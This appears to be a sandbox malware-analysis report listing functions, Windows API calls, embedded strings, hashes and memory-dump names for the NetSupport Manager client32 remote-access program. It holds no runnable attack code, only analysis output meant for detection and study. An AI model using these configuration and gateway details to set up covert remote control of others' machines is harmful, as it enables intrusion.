Opcode Fuzzy Hash: b1ebb33d0097c2b27741ff61215e6ff8e180ff04b55af2e4c570c349c4c69e7c
Instruction Fuzzy Hash: 4F018CB2640218ABE710DFA4CD89BABF7BCEB04705F004429E91597280D7B06904CBB0

Function 1109D8F0 Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,00000000,?,?,00000000,00000000,00000000,1109EC30,00000244,cant create events), ref: 1109D90C
FindCloseChangeNotification.KERNEL32(?,00000000,1109EC30,00000244,cant create events), ref: 1109D915

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AdjustChangeCloseFindNotificationPrivilegesToken
String ID:
API String ID: 1022747518-0
Opcode ID: 7d88282d2466d0bea445bfa4253874e9d1aaaebadf3be96b3f697e0eef8d2738
Instruction ID: 1087c1a68057020919897756081cb42e4a012b8ce4d03b8cf520615490e2fd10
Opcode Fuzzy Hash: 7d88282d2466d0bea445bfa4253874e9d1aaaebadf3be96b3f697e0eef8d2738
Instruction Fuzzy Hash: 3CE08C30280214ABE338DE24AD90FA673EDAF05B04F11092DF8A6D2580CA60E8008B60

Function 1102EBD0 Relevance: 252.2, APIs: 32, Strings: 111, Instructions: 1967windowthreadsleepCOMMON

Download Yara Rule

APIs

Part of subcall function 111101B0: _malloc.LIBCMT ref: 111101C9
Part of subcall function 111101B0: wsprintfA.USER32 ref: 111101E4
Part of subcall function 111101B0: _memset.LIBCMT ref: 11110207

GetSystemMetrics.USER32(00002000), ref: 1102ED54
FindWindowA.USER32(NSMWClass,00000000), ref: 1102EF15

Part of subcall function 11110DE0: GetCurrentThreadId.KERNEL32 ref: 11110E76
Part of subcall function 11110DE0: InitializeCriticalSection.KERNEL32(-00000010,?,11031700,00000001,00000000), ref: 11110E89
Part of subcall function 11110DE0: InitializeCriticalSection.KERNEL32(111F18F0,?,11031700,00000001,00000000), ref: 11110E98
Part of subcall function 11110DE0: EnterCriticalSection.KERNEL32(111F18F0,?,11031700), ref: 11110EAC
Part of subcall function 11110DE0: CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,11031700), ref: 11110ED2

GetWindowThreadProcessId.USER32(00000000,?), ref: 1102EF4B
OpenProcess.KERNEL32(00100400,00000000,?), ref: 1102EF6D
IsILS.PCICHEK(?,?,View,Client,Bridge), ref: 1102F22F

Part of subcall function 11094F00: OpenProcessToken.ADVAPI32(00000000,00000018,00000000,00000000,00000000,00000000,?,?,1102EF9C,00000000,?,00000100,00000000,00000000,00000000), ref: 11094F1C
Part of subcall function 11094F00: OpenProcessToken.ADVAPI32(00000000,00000008,00000000,?,?,1102EF9C,00000000,?,00000100,00000000,00000000,00000000), ref: 11094F29
Part of subcall function 11094F00: CloseHandle.KERNEL32(00000000,00000000,?,00000100,00000000,00000000,00000000), ref: 11094F59

SendMessageA.USER32(00000000,00000010,00000000,00000000), ref: 1102EFCC
WaitForSingleObject.KERNEL32(00000000,00007530), ref: 1102EFD8
CloseHandle.KERNEL32(00000000), ref: 1102EFF0
FindWindowA.USER32(NSMWClass,00000000), ref: 1102EFFD
GetWindowThreadProcessId.USER32(00000000,?), ref: 1102F019
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 1102ED86

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

IsJPIK.PCICHEK(?,?,?,View,Client,Bridge), ref: 1102F3ED
LoadIconA.USER32(11000000,000004C1), ref: 1102F521
LoadIconA.USER32(11000000,000004C2), ref: 1102F531
DestroyCursor.USER32(00000000), ref: 1102F557
DestroyCursor.USER32(00000000), ref: 1102F568

Part of subcall function 11028360: ImpersonateLoggedOnUser.ADVAPI32(00000000), ref: 110283A3
Part of subcall function 11028360: GetUserNameA.ADVAPI32(?,?), ref: 110283BC
Part of subcall function 11028360: RevertToSelf.ADVAPI32 ref: 110283DC
Part of subcall function 11028360: CloseHandle.KERNEL32(00000000), ref: 110283E3

GetVersion.KERNEL32(?,?,?,?,?,00000000,MiniDumpType,000000FF,00000000,00000000,?,?,?,View,Client,Bridge), ref: 1102FB05
GetVersionExA.KERNEL32(?,?,?,?,?,?,00000000,MiniDumpType,000000FF,00000000,00000000,?,?,?,View,Client), ref: 1102FB58
Sleep.KERNEL32(00000064,Client,*StartupDelay,00000000,00000000,?,?,?,?,?,00000000,MiniDumpType,000000FF,00000000,00000000), ref: 110300F2
PeekMessageA.USER32(?,00000000,00000000,00000009,00000001), ref: 1103012C
DispatchMessageA.USER32(?), ref: 11030136
PeekMessageA.USER32(?,00000000,00000000,00000009,00000001), ref: 11030148
CloseHandle.KERNEL32(00000000,Function_000278D0,00000001,00000000,?,?,?,?,?,00000000,?,?,?,?,?,00000000), ref: 110303D4
GetCurrentProcess.KERNEL32(00000000,Client,*PriorityClass,00000080,00000000,Client,*ScreenScrape,00000000,00000000,?,?,?,?,?,00000000), ref: 1103040C
SetPriorityClass.KERNEL32(00000000,?,?,?,?,?,00000000,?,?,?,?,?,00000000,MiniDumpType,000000FF,00000000), ref: 11030413
SetWindowPos.USER32(00170222,000000FF,00000000,00000000,00000000,00000000,00000013,Client,AlwaysOnTop,00000000,00000000), ref: 11030449
CloseHandle.KERNEL32(00000000,1105A720,00000001,00000000,?,?,?,?,?,?,?,?,00000000), ref: 110304CA

Part of subcall function 1105E820: __wcstoi64.LIBCMT ref: 1105E85D

wsprintfA.USER32 ref: 11030645

Part of subcall function 11129040: CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,EFF676FC,?,?,00000000), ref: 1112909A
Part of subcall function 11129040: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 111290A7
Part of subcall function 11129040: WaitForSingleObject.KERNEL32(00000006,000000FF,00000000,00000000), ref: 111290EE

Strings

ShowKBEnable, xrefs: 1102F85D
closed ok, xrefs: 1102EFE2
Info. Client running as user=%s, type=%d, xrefs: 1102EFA6
Intel error "%s", xrefs: 1102F322
DisableReplayMenu, xrefs: 1102F8A7, 1102F945
Session shutting down, exiting..., xrefs: 1102ED5E
Default, xrefs: 1103078B, 110307BA, 110307E3
NSM.LIC, xrefs: 1102F078, 1102F11A
Windows 2012 R2, xrefs: 1102FF3E
NSMWControl32, xrefs: 11030792
DisableJournal, xrefs: 1102F8D7, 1102F975
DisableHelp, xrefs: 1102F9D5
Windows Ding.wav, xrefs: 1102FA82
NoFTWhenLoggedOff, xrefs: 1102F9BD
ScreenScrape, xrefs: 1102F7D9, 1102F803, 1102F82D
_debug, xrefs: 110300AF
Windows 2008, xrefs: 1102FDB6
Windows 2003, xrefs: 1102FCB0
*PriorityClass, xrefs: 110303FC
*BeepUsingSpeaker, xrefs: 1102FA1A
DisableConsoleClient, xrefs: 1102F6EA, 1102F77F
hClientRunning = %x, pid=%d (x%x), xrefs: 1102F025
V12.10.20, xrefs: 11030034, 11030068
CabinetWClass, xrefs: 110308F7
Windows 10, xrefs: 1102FF6D
_debug, xrefs: 1102F4C6, 1102F60A, 110306A4
Intel(r), xrefs: 1102F30C
Unsupported Platform, xrefs: 1102F445
Windows XP Ding.wav, xrefs: 1102FA89
Info. Client already running, pid=%d (x%x), xrefs: 1102EF56
\Explorer.exe, xrefs: 1103099D
EnableSmartcardAuth, xrefs: 1103056F
CLIENT32.CPP, xrefs: 1102ED9A, 1102F380
IsJPIK returned %d, isvistaservice %d, xrefs: 1102F3FD
NSTWControl32, xrefs: 110307EA
NSMWClass, xrefs: 1102ED16, 1102EEF7, 1102EFF8, 1103062F
TraceIPC, xrefs: 1103069F
NSMWClassVista, xrefs: 1102ED05
Windows Vista, xrefs: 1102FD4F
*ScreenScrape, xrefs: 11030177, 110301C0, 110303E0
Windows XP x64, xrefs: 1102FCDF
Windows 8.1 x64, xrefs: 1102FF12
TCPIP, xrefs: 11030743
Windows 2016, xrefs: 1102FFD4
LSPloaded=%d, WFPloaded=%d, xrefs: 1102F66E
DisableAudioFilter, xrefs: 1102F753, 1102FB22
NeedsReinstall, xrefs: 1102F690
Windows 7, xrefs: 1102FE19
NSSWControl32, xrefs: 110307C1
Windows Vista x64, xrefs: 1102FD7D
Global\NSMWClassAdmin, xrefs: 1103063A
Windows 2003 x64, xrefs: 1102FD18
DisableAudio, xrefs: 1102F71A, 1102F73B, 1102F7A9, 1102F907, 1102F9A5
Windows 10 x64, xrefs: 1102FF9D
Windows 8, xrefs: 1102FE68
Windows 95, xrefs: 1102FB6A
View, xrefs: 1102F050, 1102F5A5, 1102F5BE, 1102F5D9
Windows 98, xrefs: 1102FB9B
Error. Could not load transports - perhaps another client is running, xrefs: 110302F7
Windows CE, xrefs: 1102FFFF
win8ui, xrefs: 1102F4C1
IsILS returned %d, isvistaservice %d, xrefs: 1102F23E
cl32main, xrefs: 1102EC03
210979, xrefs: 1103022D, 11030280, 110302BB, 11030398
*StartupDelay, xrefs: 110300CC
EnableGradientCaptions, xrefs: 1102F5A0, 1102F5B9, 1102F5D4
UseLegacyPrintCapture, xrefs: 1102FAE6
Error. Wrong hardware. Terminating, xrefs: 1102F26D, 1102F430
pcicl32, xrefs: 1102EEE4
UseNTSecurity, xrefs: 1103054E
Found old explorer hwnd=x%x h=%d,w=%d,style=x%x (%s), xrefs: 110309E6
gClient.hNotifyEvent, xrefs: 1102ED9F
TracePriv, xrefs: 110300AA
Windows NT, xrefs: 1102FC2E
Windows 2012, xrefs: 1102FEC1
Windows Millennium, xrefs: 1102FBCB
client32, xrefs: 1102F15E, 1102F367, 1102F46E
istaUI, xrefs: 1102EC86
Error x%x reading nsm.lic, sesh=%d, xrefs: 1102F0E8
Found new explorer hwnd=x%x h=%d,w=%d,style=x%x (%s), xrefs: 11030A84
EnableSmartcardLogon, xrefs: 11030533
Windows 7 x64, xrefs: 1102FE3A
Audio, xrefs: 1102F758, 1102FB27
IKS.LIC, xrefs: 1102F096, 1102F09D, 1102F0C0
NSA.LIC, xrefs: 1102F086
RestartAfterError, xrefs: 1102F6B4
DisableTSAdmin, xrefs: 1102F702
DisableRunplugin, xrefs: 1102F7C1
AssertTimeout, xrefs: 1102F5E7
Windows 8.1, xrefs: 1102FEEF
OS2, xrefs: 1102FC0D
General, xrefs: 1102F5EC, 1102F6B9, 1102FA1F, 1102FA52
JPK, xrefs: 1102F2D5, 1102F39B
UseIPC, xrefs: 1103066C
Windows 2008 x64, xrefs: 1102FDE2
Client, xrefs: 1102F044, 1102F695, 1102F71F, 1102F740, 1102F7AE, 1102F7C6, 1102F7DE, 1102F808, 1102F832, 1102F862, 1102F894, 1102F8AC, 1102F8C4, 1102F8DC, 1102F8F4, 1102F90C, 1102F932, 1102F94A, 1102F962, 1102F97A, 1102F992, 1102F9AA, 1102F9C2, 1102F9DA, 1102FAEB, 110300D1, 1103017C, 110301C5, 1103038E, 110303E5, 11030401, 11030428, 11030538, 11030553, 11030574, 11030671
*ListenPort, xrefs: 1103073E
Ready, xrefs: 11030801
Bridge, xrefs: 1102F038
MiniDumpType, xrefs: 1102F605
Windows XP, xrefs: 1102FC89
DisableJoinClass, xrefs: 1102F88F, 1102F92D
DisableRequestHelp, xrefs: 1102F8BF, 1102F95D
AlwaysOnTop, xrefs: 11030423
Windows 2000, xrefs: 1102FC5B
DisableJournalMenu, xrefs: 1102F8EF, 1102F98D
*BeepSound, xrefs: 1102FA4D
V12.00.20, xrefs: 1103002D
Windows 8 x64, xrefs: 1102FE90
Info. Trying to close client, xrefs: 1102EFB8
istaService, xrefs: 1102EC6B

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Process$CloseHandleMessageWindow$CreateEvent$CriticalOpenSectionThreadwsprintf$CurrentCursorDestroyFindIconInitializeLoadObjectPeekSingleTokenUserVersionWait$ClassDispatchEnterErrorExitImpersonateLastLoggedMetricsNamePriorityRevertSelfSendSleepSystem__wcstoi64_malloc_memset
String ID: *BeepSound$*BeepUsingSpeaker$*ListenPort$*PriorityClass$*ScreenScrape$*StartupDelay$210979$AlwaysOnTop$AssertTimeout$Audio$Bridge$CLIENT32.CPP$CabinetWClass$Client$Default$DisableAudio$DisableAudioFilter$DisableConsoleClient$DisableHelp$DisableJoinClass$DisableJournal$DisableJournalMenu$DisableReplayMenu$DisableRequestHelp$DisableRunplugin$DisableTSAdmin$EnableGradientCaptions$EnableSmartcardAuth$EnableSmartcardLogon$Error x%x reading nsm.lic, sesh=%d$Error. Could not load transports - perhaps another client is running$Error. Wrong hardware. Terminating$Found new explorer hwnd=x%x h=%d,w=%d,style=x%x (%s)$Found old explorer hwnd=x%x h=%d,w=%d,style=x%x (%s)$General$Global\NSMWClassAdmin$IKS.LIC$Info. Client already running, pid=%d (x%x)$Info. Client running as user=%s, type=%d$Info. Trying to close client$Intel error "%s"$Intel(r)$IsILS returned %d, isvistaservice %d$IsJPIK returned %d, isvistaservice %d$JPK$LSPloaded=%d, WFPloaded=%d$MiniDumpType$NSA.LIC$NSM.LIC$NSMWClass$NSMWClassVista$NSMWControl32$NSSWControl32$NSTWControl32$NeedsReinstall$NoFTWhenLoggedOff$OS2$Ready$RestartAfterError$ScreenScrape$Session shutting down, exiting...$ShowKBEnable$TCPIP$TraceIPC$TracePriv$Unsupported Platform$UseIPC$UseLegacyPrintCapture$UseNTSecurity$V12.00.20$V12.10.20$View$Windows 10$Windows 10 x64$Windows 2000$Windows 2003$Windows 2003 x64$Windows 2008$Windows 2008 x64$Windows 2012$Windows 2012 R2$Windows 2016$Windows 7$Windows 7 x64$Windows 8$Windows 8 x64$Windows 8.1$Windows 8.1 x64$Windows 95$Windows 98$Windows CE$Windows Ding.wav$Windows Millennium$Windows NT$Windows Vista$Windows Vista x64$Windows XP$Windows XP Ding.wav$Windows XP x64$\Explorer.exe$_debug$_debug$cl32main$client32$closed ok$gClient.hNotifyEvent$hClientRunning = %x, pid=%d (x%x)$istaService$istaUI$pcicl32$win8ui
API String ID: 372548862-1446622089
Opcode ID: f030ead741776a7803f21ff1f7e048a7965167955552501523b662331764eb58
Instruction ID: 381c96219eccee67eae21d9e39560490d5bedbb063d23e5a2fc42920cd5923e4
Opcode Fuzzy Hash: f030ead741776a7803f21ff1f7e048a7965167955552501523b662331764eb58
Instruction Fuzzy Hash: 39F2F978E0226A9FE715CBA0CC94FADF7A5BB4870CF504468F925B72C8DB706940CB56

Function 1102E0D0 Relevance: 82.9, APIs: 15, Strings: 32, Instructions: 630
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

WTSQuerySessionInformationA, xrefs: 1102E56E
Trying to get mac addr for %u.%u.%u.%u, xrefs: 1102E5C4
ClientName, xrefs: 1102E6B5
%sessionname%, xrefs: 1102E859, 1102E872
$session$, xrefs: 1102E886
ts macaddr=%s, xrefs: 1102E5EC
multipoint=%d, softxpand=%d, pid=%d, xrefs: 1102E9E0
210979, xrefs: 1102E715, 1102E8DB, 1102E8FF, 1102E90C, 1102E93C, 1102E9B1
NSMWClass, xrefs: 1102E2B4
ListenPort, xrefs: 1102E4D0
Wtsapi32.dll, xrefs: 1102E4FC
Client, xrefs: 1102E4B5, 1102E4ED, 1102E604
NSM.LIC, xrefs: 1102E0F2
TCPIP, xrefs: 1102E4D5
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 1102E844, 1102E8C3
Error x%x reading %s, sesh=%d, xrefs: 1102E381
IsA(), xrefs: 1102E849, 1102E8C8
TSMode, xrefs: 1102E4B0
DisableConsoleClient, xrefs: 1102E437
client32.ini, xrefs: 1102E325
%session%, xrefs: 1102E89A
Warning: Unexpanded clientname=<%s>, xrefs: 1102E7C3
%s.%02d, xrefs: 1102E820
client32, xrefs: 1102E3F5
, xrefs: 1102E685
client32 dbi %hs, xrefs: 1102E993
screenscrape, xrefs: 1102E4E8
MacAddress, xrefs: 1102E5FF
18/11/16 11:28:14 V12.10F20, xrefs: 1102E98E
computername=%s, clientname=%s, tsmode=%d, vui=%d, vsvc=%d, xrefs: 1102E9BA
%02d, xrefs: 1102E808
WTSFreeMemory, xrefs: 1102E631

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _malloc_memsetwsprintf
String ID: $$session$$%02d$%s.%02d$%session%$%sessionname%$18/11/16 11:28:14 V12.10F20$210979$Client$ClientName$DisableConsoleClient$Error x%x reading %s, sesh=%d$IsA()$ListenPort$MacAddress$NSM.LIC$NSMWClass$TCPIP$TSMode$Trying to get mac addr for %u.%u.%u.%u$WTSFreeMemory$WTSQuerySessionInformationA$Warning: Unexpanded clientname=<%s>$Wtsapi32.dll$client32$client32 dbi %hs$client32.ini$computername=%s, clientname=%s, tsmode=%d, vui=%d, vsvc=%d$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h$multipoint=%d, softxpand=%d, pid=%d$screenscrape$ts macaddr=%s
API String ID: 3802068140-990886879
Opcode ID: 5b056e33e84810f5b47047bfdd2e7b6d2b60f2191365f8a3aba671e699e49f35
Instruction ID: ec88a390f79512b50aba7168cc31da78705c53b3cca2911266f0d70c00f4e6f9
Opcode Fuzzy Hash: 5b056e33e84810f5b47047bfdd2e7b6d2b60f2191365f8a3aba671e699e49f35
Instruction Fuzzy Hash: 8232B175D4127A9FDB22CF90CC84BEDB7B8BB44308F8445E9E559A7280EB706E84CB51

Function 6EF03D00 Relevance: 68.6, APIs: 11, Strings: 28, Instructions: 392
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 6EF03D27

Strings

1.1, xrefs: 6EF03E02
connection_index == 0, xrefs: 6EF03D7A
210979, xrefs: 6EF03F0C
CLIENT_VERSION=1.0, xrefs: 6EF03ED0
MAXPACKET=%d, xrefs: 6EF03F01
A3=%s, xrefs: 6EF04163
APPTYPE=%d, xrefs: 6EF041DD
HOSTNAME=%s, xrefs: 6EF03F9A
CLIENT_ADDR=%s, xrefs: 6EF03F4A
CHATID=%s, xrefs: 6EF04046
DEPT=%s, xrefs: 6EF0420C
CMD=OPEN, xrefs: 6EF03EB9
PORT=%d, xrefs: 6EF03F68
A4=%s, xrefs: 6EF041BD
A2=%s, xrefs: 6EF04109
Port, xrefs: 6EF03DCA
GSK=%s, xrefs: 6EF03FCC
*Gsk, xrefs: 6EF03E24
CHATID, xrefs: 6EF0400A
e:\nsmsrc\nsm\1210\1210f\ctl32\htctl.c, xrefs: 6EF03D75
ListenPort, xrefs: 6EF03DDA
A1=%s, xrefs: 6EF040AF
*Dept, xrefs: 6EF041F4
client247, xrefs: 6EF0400F, 6EF0406B, 6EF040D1, 6EF0412B, 6EF04185
TCPIP, xrefs: 6EF03DCF, 6EF03DDF
CMPI=%u, xrefs: 6EF03FEA
CLIENT_NAME=%s, xrefs: 6EF03F17
PROTOCOL_VER=%u.%u, xrefs: 6EF03EEB

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: _memset
String ID: *Dept$*Gsk$1.1$210979$A1=%s$A2=%s$A3=%s$A4=%s$APPTYPE=%d$CHATID$CHATID=%s$CLIENT_ADDR=%s$CLIENT_NAME=%s$CLIENT_VERSION=1.0$CMD=OPEN$CMPI=%u$DEPT=%s$GSK=%s$HOSTNAME=%s$ListenPort$MAXPACKET=%d$PORT=%d$PROTOCOL_VER=%u.%u$Port$TCPIP$client247$connection_index == 0$e:\nsmsrc\nsm\1210\1210f\ctl32\htctl.c
API String ID: 2102423945-3878215456
Opcode ID: f6fb939376c844ec4e61a136d366a489b694b3738c37b5fe093fcce4940d3eac
Instruction ID: 628378ff25797e51b586e87050a66e66fdb4f516d9b6b44ea1901e091dee8be5
Opcode Fuzzy Hash: f6fb939376c844ec4e61a136d366a489b694b3738c37b5fe093fcce4940d3eac
Instruction Fuzzy Hash: 17E1617290052CABDB24DBE4CCA0FEEB77C9F55205F1048DAE50967241DB316B899FE1

Function 11144140 Relevance: 66.6, APIs: 20, Strings: 18, Instructions: 134
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,8504C483,759223A0), ref: 11144173
LoadLibraryA.KERNEL32(?), ref: 111441BC
LoadLibraryA.KERNEL32(DBGHELP.DLL), ref: 111441D5
LoadLibraryA.KERNEL32(IMAGEHLP.DLL), ref: 111441E4
GetModuleHandleA.KERNEL32(?), ref: 111441EA
GetProcAddress.KERNEL32(00000000,SymGetLineFromAddr), ref: 111441FE
GetProcAddress.KERNEL32(00000000,SymGetLineFromName), ref: 1114421D
GetProcAddress.KERNEL32(00000000,SymGetLineNext), ref: 11144228
GetProcAddress.KERNEL32(00000000,SymGetLinePrev), ref: 11144233
GetProcAddress.KERNEL32(00000000,SymMatchFileName), ref: 1114423E
GetProcAddress.KERNEL32(00000000,StackWalk), ref: 11144249
GetProcAddress.KERNEL32(00000000,SymCleanup), ref: 11144254
GetProcAddress.KERNEL32(00000000,SymLoadModule), ref: 1114425F
GetProcAddress.KERNEL32(00000000,SymInitialize), ref: 1114426A
GetProcAddress.KERNEL32(00000000,SymGetOptions), ref: 11144275
GetProcAddress.KERNEL32(00000000,SymSetOptions), ref: 11144280
GetProcAddress.KERNEL32(00000000,SymGetModuleInfo), ref: 1114428B
GetProcAddress.KERNEL32(00000000,SymGetSymFromAddr), ref: 11144296
GetProcAddress.KERNEL32(00000000,SymFunctionTableAccess), ref: 111442A1
GetProcAddress.KERNEL32(00000000,MiniDumpWriteDump), ref: 111442AC

Part of subcall function 11081E00: _strrchr.LIBCMT ref: 11081E0E

Strings

SymLoadModule, xrefs: 11144256
SymGetModuleInfo, xrefs: 11144282
SymCleanup, xrefs: 1114424B
dbghelp.dll, xrefs: 11144198
SymSetOptions, xrefs: 11144277
SymGetLineFromName, xrefs: 11144217
SymGetLineNext, xrefs: 1114421F
StackWalk, xrefs: 11144243
DBGHELP.DLL, xrefs: 111441CF, 111441D4
SymGetSymFromAddr, xrefs: 1114428D
SymFunctionTableAccess, xrefs: 11144298
SymMatchFileName, xrefs: 11144235
SymGetLineFromAddr, xrefs: 111441F8
SymInitialize, xrefs: 11144261
SymGetLinePrev, xrefs: 1114422A
MiniDumpWriteDump, xrefs: 111442A3
SymGetOptions, xrefs: 1114426C
IMAGEHLP.DLL, xrefs: 111441DE, 111441E3, 111441E9

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad$Module$FileHandleName_strrchr
String ID: DBGHELP.DLL$IMAGEHLP.DLL$MiniDumpWriteDump$StackWalk$SymCleanup$SymFunctionTableAccess$SymGetLineFromAddr$SymGetLineFromName$SymGetLineNext$SymGetLinePrev$SymGetModuleInfo$SymGetOptions$SymGetSymFromAddr$SymInitialize$SymLoadModule$SymMatchFileName$SymSetOptions$dbghelp.dll
API String ID: 3874234733-2061581830
Opcode ID: 57b4066cb2a569ca058a5d5f8073bc193ef12f36e95607c0665d50404da9b0c4
Instruction ID: c7cebb5ad097969c59afa36c8b157edb2e0deacaa1fcee2d42955e2ce7c14d1b
Opcode Fuzzy Hash: 57b4066cb2a569ca058a5d5f8073bc193ef12f36e95607c0665d50404da9b0c4
